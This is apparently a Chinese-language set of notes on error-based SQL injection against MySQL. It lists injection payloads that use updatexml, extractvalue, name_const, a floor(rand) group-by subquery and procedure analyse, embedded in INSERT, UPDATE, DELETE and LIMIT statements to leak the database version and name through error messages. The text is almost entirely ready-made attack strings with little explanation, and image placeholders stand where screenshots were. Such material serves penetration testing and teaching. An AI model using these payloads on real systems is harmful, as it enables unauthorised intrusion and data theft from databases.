1.函数：updatexml()

关键语句：
updatexml(1,concat(0x7e,(version())),0) or '','Nervo');
攻击语句：
INSERT INTO users (id,name,password) VALUES (2,'0livia' or updatexml (1,concat(0x7e,(version())),0) or'', 'Nervo');

image.png

2.函数：extractvalue()

关键语句：
extractvalue(1,concat(0x7e,(version()))) or '','Nervo');
攻击语句：
INSERT INTO users (id,name,password) VALUES (2,'0livia' or extractvalue (1,concat(0x7e,(version()))) or'', 'Nervo');

image.png

3.函数：name_const()

关键语句：
SELECT * FROM (SELECT(name_const(version(),1)),name_const(version(),1))a) or '','Nervo'
攻击语句：
INSERT INTO users (id,name,password) VALUES (1,'0livia' or (SELECT * FROM (SELECT(name_const(version(),1)),name_const(version(),1))a) or '','Nervo');

image.png

4.函数：利用子查询注入获取数据

攻击语句：
INSERT INTO users (id,name,password) VALUES (1,'0livia' or (SELECT 1 FROM(SELECT count(*),concat((SELECT(SELECT concat(0x7e,0x27,cast(database() as char),0x27,0x7e)) FROM information_schema.tables limit 0,1),floor(rand(0)*2))x FROM information_schema.columns group by x)a) or'','Nervo');

image.png

5.update

基本和insert类似，函数一致

image.png

5.delete

delete from users where id=0 or updatexml(1,concat(0x7e,(version())),0) or '';

image.png

5.limit

select * from news where id>0 order by id limit 1,1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1);

image.png